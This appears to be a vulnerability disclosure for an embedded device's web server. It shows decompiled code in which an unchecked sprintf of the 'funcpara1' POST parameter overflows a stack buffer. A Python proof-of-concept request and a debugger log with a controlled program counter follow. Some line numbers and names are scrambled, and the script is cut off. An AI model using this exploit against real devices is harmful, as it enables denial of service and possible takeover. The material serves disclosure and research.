

v16 = websGetVar(a1, "funcpara1", &unk_A7058); v15 = websGetVar(a1, "funcpara2", &unk_A7058);

else if (!strcmp(v17, "LoadDhcpService"))

sub_45E28(v16, v15, 126);

68

69 70

71 72

73

When the POST parameter funchame equals "save_list_data", the program will enter if branch at line 67. In this branch, program gets the POST parameter funcpara1 and funcpara2 then passed them to the function sub 45E28

```
memset(s, 0, sizeof(s));
12 memset(v8, 0, sizeof(v8));
13 \vee11 = 0;
14 if ( strlen(funcpara2) > 4 )
15
16
       ++v11;
17
       v12 = funcpara2;
       while (1)
18
19
         v10 = strchr(v12, a3);
20
         if (!v10)
21
22
          break;
         * \vee 10++ = 0;
23
24
         memset(s, 0, sizeof(s));
25
        sprintf(s, "%s.list%d", funcpara1, v11);
         SetValue(s, v12);
26
27
         v12 = v10;
28
         ++v11;
       }
29
       memset(s, 0, sizeof(s));
30
     sprintf(s, "%s.list%d", funcpara1, v11);
SetValue(s, v12);
sprintf(v7, "%d", v11);
sprintf(s, "%s.listnum", funcpara1);
31
32
33
34
       SetValue(s, v7);
35
36
       memset(s, 0, sizeof(s));
      sprintf(s, "%s.list%d", funcpara1, ++v11);
37
38
       result = Getvalue((int)s, (int)v8);
39
       while (\vee 8[0])
```

In this function, program will enter the danger section when the length of funcpara2 is greater than 4. In this if branch, program copies funcpara1 to stack buffer by calling function sprintf without checking its length.

PoC

Poc of Denial of Service(DoS)

```
import requests

data = {
    b"funcname": b"save_list_data",
    b"funcpara1": b'A'*0x400,
    b"funcpara2": b'BBBBB'

}

cookies = {
    b"user": "admin"
```

Cannot disassemble from \$PC

gef≻

Cannot access memory at address 0x41414140

[#0] Id 1, stopped 0x41414140 in ?? (), reason: SIGSEGV